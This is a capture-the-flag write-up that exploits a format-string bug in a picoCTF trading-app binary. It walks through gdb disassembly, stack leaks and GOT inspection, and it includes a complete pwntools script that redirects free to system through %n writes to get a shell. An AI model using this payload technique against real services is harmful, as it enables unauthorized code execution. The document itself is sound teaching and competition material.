ok first we need to understand whats going on so run vuln with gdb `gdb ./vuln`first get an overview with `disass main`
```   0x0000000000400b95 <+0>:     push   rbp                                                                                                                      0x0000000000400b96 <+1>:     mov    rbp,rsp                                                                                                                  0x0000000000400b99 <+4>:     sub    rsp,0x30                                                                                                                 0x0000000000400b9d <+8>:     mov    DWORD PTR [rbp-0x24],edi                                                                                                 0x0000000000400ba0 <+11>:    mov    QWORD PTR [rbp-0x30],rsi                                                                                                 0x0000000000400ba4 <+15>:    mov    rax,QWORD PTR fs:0x28                                                                                                    0x0000000000400bad <+24>:    mov    QWORD PTR [rbp-0x8],rax                                                                                                  0x0000000000400bb1 <+28>:    xor    eax,eax                                                                                                                  0x0000000000400bb3 <+30>:    mov    rax,QWORD PTR [rip+0x2014ce]        # 0x602088 <stdout@@GLIBC_2.2.5>                                                     0x0000000000400bba <+37>:    mov    esi,0x0                                                                                                                  0x0000000000400bbf <+42>:    mov    rdi,rax                                                                                                                  0x0000000000400bc2 <+45>:    call   0x4006e0 <setbuf@plt>                                                                                                    0x0000000000400bc7 <+50>:    mov    edi,0x0                                                                                                                  0x0000000000400bcc <+55>:    call   0x400720 <time@plt>   0x0000000000400bd1 <+60>:    mov    edi,eax   0x0000000000400bd3 <+62>:    call   0x400710 <srand@plt>   0x0000000000400bd8 <+67>:    mov    eax,0x0   0x0000000000400bdd <+72>:    call   0x400ae1 <initialize_portfolio>   0x0000000000400be2 <+77>:    mov    QWORD PTR [rbp-0x10],rax   0x0000000000400be6 <+81>:    cmp    QWORD PTR [rbp-0x10],0x0   0x0000000000400beb <+86>:    jne    0x400c03 <main+110>   0x0000000000400bed <+88>:    lea    rdi,[rip+0x1ed]        # 0x400de1   0x0000000000400bf4 <+95>:    call   0x4006d0 <puts@plt>   0x0000000000400bf9 <+100>:   mov    edi,0x1   0x0000000000400bfe <+105>:   call   0x400760 <exit@plt>   0x0000000000400c03 <+110>:   mov    DWORD PTR [rbp-0x14],0x0   0x0000000000400c0a <+117>:   lea    rdi,[rip+0x1df]        # 0x400df0   0x0000000000400c11 <+124>:   call   0x4006d0 <puts@plt>   0x0000000000400c16 <+129>:   lea    rdi,[rip+0x1f5]        # 0x400e12   0x0000000000400c1d <+136>:   call   0x4006d0 <puts@plt>   0x0000000000400c22 <+141>:   lea    rdi,[rip+0x204]        # 0x400e2d   0x0000000000400c29 <+148>:   call   0x4006d0 <puts@plt>   0x0000000000400c2e <+153>:   lea    rdi,[rip+0x20c]        # 0x400e41   0x0000000000400c35 <+160>:   call   0x4006d0 <puts@plt>   0x0000000000400c3a <+165>:   lea    rax,[rbp-0x14]   0x0000000000400c3e <+169>:   mov    rsi,rax   0x0000000000400c41 <+172>:   lea    rdi,[rip+0x20e]        # 0x400e56   0x0000000000400c48 <+179>:   mov    eax,0x0   0x0000000000400c4d <+184>:   call   0x400750 <__isoc99_scanf@plt>   0x0000000000400c52 <+189>:   mov    eax,DWORD PTR [rbp-0x14]   0x0000000000400c55 <+192>:   cmp    eax,0x1   0x0000000000400c58 <+195>:   jne    0x400c68 <main+211>   0x0000000000400c5a <+197>:   mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400c5e <+201>:   mov    rdi,rax   0x0000000000400c61 <+204>:   call   0x4009e9 <buy_stonks>   0x0000000000400c66 <+209>:   jmp    0x400c7c <main+231>   0x0000000000400c68 <+211>:   mov    eax,DWORD PTR [rbp-0x14]   0x0000000000400c6b <+214>:   cmp    eax,0x2   0x0000000000400c6e <+217>:   jne    0x400c7c <main+231>   0x0000000000400c70 <+219>:   mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400c74 <+223>:   mov    rdi,rax   0x0000000000400c77 <+226>:   call   0x400867 <view_portfolio>   0x0000000000400c7c <+231>:   mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400c80 <+235>:   mov    rdi,rax   0x0000000000400c83 <+238>:   call   0x400b3d <free_portfolio>   0x0000000000400c88 <+243>:   lea    rdi,[rip+0x1ca]        # 0x400e59   0x0000000000400c8f <+250>:   call   0x4006d0 <puts@plt>   0x0000000000400c94 <+255>:   mov    edi,0x0   0x0000000000400c99 <+260>:   call   0x400760 <exit@plt>
```
ok now lets run it and see what happens.```Welcome back to the trading app!
What would you like to do?1) Buy some stonks!2) View my portfolio```we press `ctrl+c` and check the gef dashboard```[#0] 0x7ffff7af4191 → read()[#1] 0x7ffff7a711b8 → _IO_file_underflow()[#2] 0x7ffff7a72462 → _IO_default_uflow()[#3] 0x7ffff7a4fc5a → _IO_vfscanf()[#4] 0x7ffff7a60048 → __isoc99_scanf()[#5] 0x400c52 → main()```so we are in the `__isoc99_scanf()` at main `0x0000000000400c4d <+184>:   call   0x400750 <__isoc99_scanf@plt>`here we can choose which of the next 2 functions we want to run.
we choose buy_stonks since there is the vulnerable printf()`disass buy_stonks````   0x00000000004009e9 <+0>:     push   rbp   0x00000000004009ea <+1>:     mov    rbp,rsp   0x00000000004009ed <+4>:     sub    rsp,0x30   0x00000000004009f1 <+8>:     mov    QWORD PTR [rbp-0x28],rdi   0x00000000004009f5 <+12>:    cmp    QWORD PTR [rbp-0x28],0x0   0x00000000004009fa <+17>:    jne    0x400a06 <buy_stonks+29>   0x00000000004009fc <+19>:    mov    eax,0x1   0x0000000000400a01 <+24>:    jmp    0x400adf <buy_stonks+246>   0x0000000000400a06 <+29>:    mov    rax,QWORD PTR [rbp-0x28]   0x0000000000400a0a <+33>:    mov    eax,DWORD PTR [rax]   0x0000000000400a0c <+35>:    mov    DWORD PTR [rbp-0x18],eax   0x0000000000400a0f <+38>:    mov    DWORD PTR [rbp-0x14],0x0   0x0000000000400a16 <+45>:    mov    QWORD PTR [rbp-0x10],0x0   0x0000000000400a1e <+53>:    lea    rdi,[rip+0x34b]        # 0x400d70   0x0000000000400a25 <+60>:    call   0x4006d0 <puts@plt>   0x0000000000400a2a <+65>:    jmp    0x400a6d <buy_stonks+132>   0x0000000000400a2c <+67>:    call   0x400770 <rand@plt>   0x0000000000400a31 <+72>:    cdq       0x0000000000400a32 <+73>:    idiv   DWORD PTR [rbp-0x18]   0x0000000000400a35 <+76>:    mov    eax,edx   0x0000000000400a37 <+78>:    add    eax,0x1   0x0000000000400a3a <+81>:    mov    DWORD PTR [rbp-0x14],eax   0x0000000000400a3d <+84>:    mov    eax,DWORD PTR [rbp-0x14]   0x0000000000400a40 <+87>:    mov    edi,eax   0x0000000000400a42 <+89>:    call   0x400927 <pick_symbol_with_AI>   0x0000000000400a47 <+94>:    mov    QWORD PTR [rbp-0x10],rax   0x0000000000400a4b <+98>:    mov    rax,QWORD PTR [rbp-0x28]   0x0000000000400a4f <+102>:   mov    rdx,QWORD PTR [rax+0x8]   0x0000000000400a53 <+106>:   mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400a57 <+110>:   mov    QWORD PTR [rax+0x10],rdx   0x0000000000400a5b <+114>:   mov    rax,QWORD PTR [rbp-0x28]   0x0000000000400a5f <+118>:   mov    rdx,QWORD PTR [rbp-0x10]   0x0000000000400a63 <+122>:   mov    QWORD PTR [rax+0x8],rdx   0x0000000000400a67 <+126>:   mov    eax,DWORD PTR [rbp-0x14]   0x0000000000400a6a <+129>:   sub    DWORD PTR [rbp-0x18],eax   0x0000000000400a6d <+132>:   cmp    DWORD PTR [rbp-0x18],0x0   0x0000000000400a71 <+136>:   jg     0x400a2c <buy_stonks+67>   0x0000000000400a73 <+138>:   lea    rdi,[rip+0x321]        # 0x400d9b   0x0000000000400a7a <+145>:   call   0x4006d0 <puts@plt>   0x0000000000400a7f <+150>:   mov    edi,0x12d   0x0000000000400a84 <+155>:   call   0x400730 <malloc@plt>   0x0000000000400a89 <+160>:   mov    QWORD PTR [rbp-0x8],rax   0x0000000000400a8d <+164>:   lea    rdi,[rip+0x315]        # 0x400da9   0x0000000000400a94 <+171>:   call   0x4006d0 <puts@plt>   0x0000000000400a99 <+176>:   mov    rax,QWORD PTR [rbp-0x8]   0x0000000000400a9d <+180>:   mov    rsi,rax   0x0000000000400aa0 <+183>:   lea    rdi,[rip+0x31a]        # 0x400dc1   0x0000000000400aa7 <+190>:   mov    eax,0x0   0x0000000000400aac <+195>:   call   0x400750 <__isoc99_scanf@plt>   0x0000000000400ab1 <+200>:   lea    rdi,[rip+0x30f]        # 0x400dc7   0x0000000000400ab8 <+207>:   call   0x4006d0 <puts@plt>   0x0000000000400abd <+212>:   mov    rax,QWORD PTR [rbp-0x8]   0x0000000000400ac1 <+216>:   mov    rdi,rax   0x0000000000400ac4 <+219>:   mov    eax,0x0   0x0000000000400ac9 <+224>:   call   0x400700 <printf@plt>   0x0000000000400ace <+229>:   mov    rax,QWORD PTR [rbp-0x28]   0x0000000000400ad2 <+233>:   mov    rdi,rax   0x0000000000400ad5 <+236>:   call   0x400867 <view_portfolio>   0x0000000000400ada <+241>:   mov    eax,0x0   0x0000000000400adf <+246>:   leave     0x0000000000400ae0 <+247>:   ret   ```we give our input at 0x400aac and it gets printed at 0x400ac9
```   0x0000000000400aac <+195>:   call   0x400750 <__isoc99_scanf@plt>   0x0000000000400ab1 <+200>:   lea    rdi,[rip+0x30f]        # 0x400dc7   0x0000000000400ab8 <+207>:   call   0x4006d0 <puts@plt>   0x0000000000400abd <+212>:   mov    rax,QWORD PTR [rbp-0x8]   0x0000000000400ac1 <+216>:   mov    rdi,rax   0x0000000000400ac4 <+219>:   mov    eax,0x0   0x0000000000400ac9 <+224>:   call   0x400700 <printf@plt>   0x0000000000400ace <+229>:   mov    rax,QWORD PTR [rbp-0x28]
```ok before we continue set a breakpoint after the printf() with `b *400ace` than `c` and throw some %p at it to leak some addresses
```0x1555553277e30x1555553288c00x15555504b2640x19(nil)0x400e410x6032600xb0x1000000000x6043700x6043900x7fffffffe0800x400c660x7fffffffe1680x1000000000x400ca00x1004007800x6032600xd121471b0b69c1000x400ca00x155554f5cb970x10x7fffffffe1680x1000080000x400b95(nil)0x708aa9e58d88f5ba0x4007800x7fffffffe160(nil)(nil)0x8f75569a55e8f5ba0x5a20008e0256f5ba0x7fff00000000(nil)(nil)0x15555533c7830x1555553226380xc13f2(nil)(nil)(nil)0x4007800x7fffffffe1600x4007aa0x7fffffffe1580x1c0x10x7fffffffe456(nil)```The addres on the 12 position is 0x7fffffffe080 which is on the stack so maybe we can have its content on our leak.
i watched for the 4 previous and follwoing values so 0xb|0x100000000|0x604370|0x604390|0x7fffffffe080|0x400c66|0x7fffffffe168|0x100000000|0x400ca0
```gef➤  search-pattern 0x7fffffffe080[+] Searching '\x80\xe0\xff\xff\xff\x7f' in memory[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-  0x7fffffffdd90 - 0x7fffffffdda8  →   "\x80\xe0\xff\xff\xff\x7f[...]"   0x7fffffffe040 - 0x7fffffffe058  →   "\x80\xe0\xff\xff\xff\x7f[...]" 
```
```gef➤  x/9gx 0x7fffffffe040-0x200x7fffffffe020: 0x000000000000000b      0x00000001000000000x7fffffffe030: 0x0000000000604370      0x00000000006043900x7fffffffe040: 0x00007fffffffe080      0x0000000000400c660x7fffffffe050: 0x00007fffffffe168      0x00000001000000000x7fffffffe060: 0x0000000000400ca0```so `0x7fffffffe040: 0x00007fffffffe080` this is not far away lets check it```gef➤  x/9gx 0x7fffffffe080-0x200x7fffffffe060: 0x0000000000400ca0      0x00000001004007800x7fffffffe070: 0x0000000000603260      0xd121471b0b69c1000x7fffffffe080: 0x0000000000400ca0      0x0000155554f5cb970x7fffffffe090: 0x0000000000000001      0x00007fffffffe1680x7fffffffe0a0: 0x0000000100008000```
0x400ca0|0x100400780|0x603260|0xd121471b0b69c100|0x400ca0|0x155554f5cb97|0x1|0x7fffffffe168|0x100008000
this matches great now hers the plan we can write to the 12 field which points to 0x00007fffffffe080 with that we can set the target address.and with the 20 field we can write to that address.now we have to find out where and what to write.
so first lets check where we can write i `vmmap`
```[ Legend:  Code | Heap | Stack ]Start              End                Offset             Perm Path0x00000000003ff000 0x0000000000400000 0x0000000000000000 rw- /root/ctf/stonk_market/vuln0x0000000000400000 0x0000000000402000 0x0000000000001000 r-x /root/ctf/stonk_market/vuln0x0000000000601000 0x0000000000602000 0x0000000000002000 r-- /root/ctf/stonk_market/vuln0x0000000000602000 0x0000000000603000 0x0000000000003000 rw- /root/ctf/stonk_market/vuln0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /root/ctf/stonk_market/libc.so.60x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /root/ctf/stonk_market/libc.so.60x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /root/ctf/stonk_market/libc.so.60x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /root/ctf/stonk_market/libc.so.60x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /root/ctf/stonk_market/ld-2.27.so0x00007ffff7ff4000 0x00007ffff7ff6000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /root/ctf/stonk_market/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /root/ctf/stonk_market/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]```
`0x0000000000602000 0x0000000000603000 0x0000000000003000 rw- /root/ctf/stonk_market/vuln`we can write to the GOT that is usefull. lets check whats on the `GOT` 
```GOT protection: Partial RelRO | GOT functions: 12 [0x602018] free@GLIBC_2.2.5  →  0x4006c6[0x602020] puts@GLIBC_2.2.5  →  0x7ffff7a64a30[0x602028] setbuf@GLIBC_2.2.5  →  0x7ffff7a6c540[0x602030] system@GLIBC_2.2.5  →  0x4006f6[0x602038] printf@GLIBC_2.2.5  →  0x400706[0x602040] srand@GLIBC_2.2.5  →  0x7ffff7a27c60[0x602048] time@GLIBC_2.2.5  →  0x7ffff7ffa970[0x602050] malloc@GLIBC_2.2.5  →  0x7ffff7a7b0e0[0x602058] fflush@GLIBC_2.2.5  →  0x400746[0x602060] __isoc99_scanf@GLIBC_2.7  →  0x7ffff7a5ff30[0x602068] exit@GLIBC_2.2.5  →  0x400766[0x602070] rand@GLIBC_2.2.5  →  0x7ffff7a28450```ok we know how and where now figure out what.so i steped throu the binary a few times than realized that in main after our buy_stonks function finished we call free_portfolio
`0x0000000000400c66 <+209>:   jmp    0x400c7c <main+231>````0x0000000000400c7c <+231>:   mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400c80 <+235>:   mov    rdi,rax   0x0000000000400c83 <+238>:   call   0x400b3d <free_portfolio>````disass free_portfolio`
```   0x0000000000400b3d <+0>:     push   rbp   0x0000000000400b3e <+1>:     mov    rbp,rsp   0x0000000000400b41 <+4>:     sub    rsp,0x20   0x0000000000400b45 <+8>:     mov    QWORD PTR [rbp-0x18],rdi   0x0000000000400b49 <+12>:    mov    rax,QWORD PTR [rbp-0x18]   0x0000000000400b4d <+16>:    mov    rax,QWORD PTR [rax+0x8]   0x0000000000400b51 <+20>:    mov    QWORD PTR [rbp-0x10],rax   0x0000000000400b55 <+24>:    mov    QWORD PTR [rbp-0x8],0x0   0x0000000000400b5d <+32>:    jmp    0x400b7f <free_portfolio+66>   0x0000000000400b5f <+34>:    mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400b63 <+38>:    mov    rax,QWORD PTR [rax+0x10]   0x0000000000400b67 <+42>:    mov    QWORD PTR [rbp-0x8],rax   0x0000000000400b6b <+46>:    mov    rax,QWORD PTR [rbp-0x10]   0x0000000000400b6f <+50>:    mov    rdi,rax   0x0000000000400b72 <+53>:    call   0x4006c0 <free@plt>   0x0000000000400b77 <+58>:    mov    rax,QWORD PTR [rbp-0x8]   0x0000000000400b7b <+62>:    mov    QWORD PTR [rbp-0x10],rax   0x0000000000400b7f <+66>:    cmp    QWORD PTR [rbp-0x10],0x0   0x0000000000400b84 <+71>:    jne    0x400b5f <free_portfolio+34>   0x0000000000400b86 <+73>:    mov    rax,QWORD PTR [rbp-0x18]   0x0000000000400b8a <+77>:    mov    rdi,rax   0x0000000000400b8d <+80>:    call   0x4006c0 <free@plt>   0x0000000000400b92 <+85>:    nop   0x0000000000400b93 <+86>:    leave     0x0000000000400b94 <+87>:    ret  ```
here `0x0000000000400b72 <+53>:    call   0x4006c0 <free@plt>` we call free()we set a breakpoint `b *0x0000000000400b72`
when we reach the break we check the arguments for the free()```free@plt (   $rdi = 0x0000000000604370 → 0x4e494e4600000001)````c`
```free@plt (   $rdi = 0x0000000000604350 → 0x0000004300000003)```
ok looks like the arguments are the next heap chunks that will get freed
`heap chunks````gef➤  heap chunksChunk(addr=0x603010, size=0x250, flags=PREV_INUSE)    [0x0000000000603010     02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]Chunk(addr=0x603260, size=0x20, flags=PREV_INUSE)    [0x0000000000603260     ec 03 00 00 00 00 00 00 70 43 60 00 00 00 00 00    ........pC`.....]Chunk(addr=0x603280, size=0x1010, flags=PREV_INUSE)    [0x0000000000603280     25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25    %p|%p|%p|%p|%p|%]Chunk(addr=0x604290, size=0x20, flags=PREV_INUSE)    [0x0000000000604290     a9 02 00 00 47 50 47 00 00 00 00 00 00 00 00 00    ....GPG.........]Chunk(addr=0x6042b0, size=0x20, flags=PREV_INUSE)    [0x00000000006042b0     f3 00 00 00 53 00 00 00 00 00 00 00 00 00 00 00    ....S...........]Chunk(addr=0x6042d0, size=0x20, flags=PREV_INUSE)    [0x00000000006042d0     24 00 00 00 47 59 4c 00 00 00 00 00 00 00 00 00    $...GYL.........]Chunk(addr=0x6042f0, size=0x20, flags=PREV_INUSE)    [0x00000000006042f0     17 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00    ....I...........]Chunk(addr=0x604310, size=0x20, flags=PREV_INUSE)    [0x0000000000604310     08 00 00 00 4c 45 54 50 00 00 00 00 00 00 00 00    ....LETP........]Chunk(addr=0x604330, size=0x20, flags=PREV_INUSE)    [0x0000000000604330     09 00 00 00 55 00 00 00 00 00 00 00 00 00 00 00    ....U...........]Chunk(addr=0x604350, size=0x20, flags=PREV_INUSE)    [0x0000000000604350     70 43 60 00 00 00 00 00 00 00 00 00 00 00 00 00    pC`.............]Chunk(addr=0x604370, size=0x20, flags=PREV_INUSE)    [0x0000000000604370     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]Chunk(addr=0x604390, size=0x140, flags=PREV_INUSE)    [0x0000000000604390     25 70 7c 25 70 7c 25 70 7c 25 70 7c 25 70 7c 25    %p|%p|%p|%p|%p|%]Chunk(addr=0x6044d0, size=0x1fb40, flags=PREV_INUSE)  ←  top chunk```i found 0x603260 on our leaked addr list at field 18 0x603260good we can now change the GOT entry of free so that it calls system with the argument of the heap addresses.`system(const char *command)`so it will use the heap addr. as a pointer to a string so we want our 0x603260 contain 'sh' that should spawn a shell for us.sh in hex is `0x01006873`
```gef➤  x 0x00000000006032600x603260:       0x01006873gef➤  x/s 0x00000000006032600x603260:       "sh"
```ok time for the payload 
this writes to the 12 field which points to 0x7fffffffe080 here we set the target address to 0x00602018 ```	payload = '%c'*10	payload += f'%{elf.got["free"] - 10}c'	payload += '%n'```
this writes to the target we specified in this case the GOT of free here we change free to system which starts at `0x4006f6`
before we write: 0x00602018: 0x4006c6
after we write:  0x00602018: 0x4006f6
as we can see we only need to change 1 byte to match the address.we do that with `hhn` which only writes 1 bytewe already had 0x602018 bytes send so to set the last byte to 0xf6 we send another 222 bytes.  0xf6 - 0x18 = 0xde or 222 as int
```	payload += '%222c'	payload += '%20$hhn'	```
and here we write sh into the leaked heap address and sending the payload.10504061 in hex = 0xa0477d + our already send 0x00602018 + 0xde = 0x1006873 which is sh in hex
```	payload += '%10504061c'	payload += '%18$n'	sl('1')	sla("token?\n",payload)```
it will take some time to send the payload so give it at least 1 min.
```#!/usr/bin/env python3from pwn import *
fname = './vuln'ip = 'mercury.picoctf.net'port = xxxx #change thiself = ELF('./vuln')
LOCAL = False
if LOCAL:    r = process(fname,aslr=False)
    gdbscript="""    b buy_stonks    b *0x0000000000400ac9    b *0x0000000000400ace    b *0x00000000004008ab    b *0x0000000000400b72    """    #set follow-fork-mode
    #attach('vuln',gdbscript=gdbscript)else:    r = remote(ip, port)
rl = lambda : r.recvline()sl = lambda x : r.sendline(x)sla = lambda x,y : r.sendlineafter(x,y)inter = lambda : r.interactive()
def pwn():    payload = '%c'*10    payload += f'%{elf.got["free"] - 10}c'    payload += '%n'
    payload += '%222c'               payload += '%20$hhn'            
    payload += '%10504061c'    payload += '%18$n'    sl('1')    sla("token?\n",payload)
    inter()
if __name__ == '__main__':    pwn()```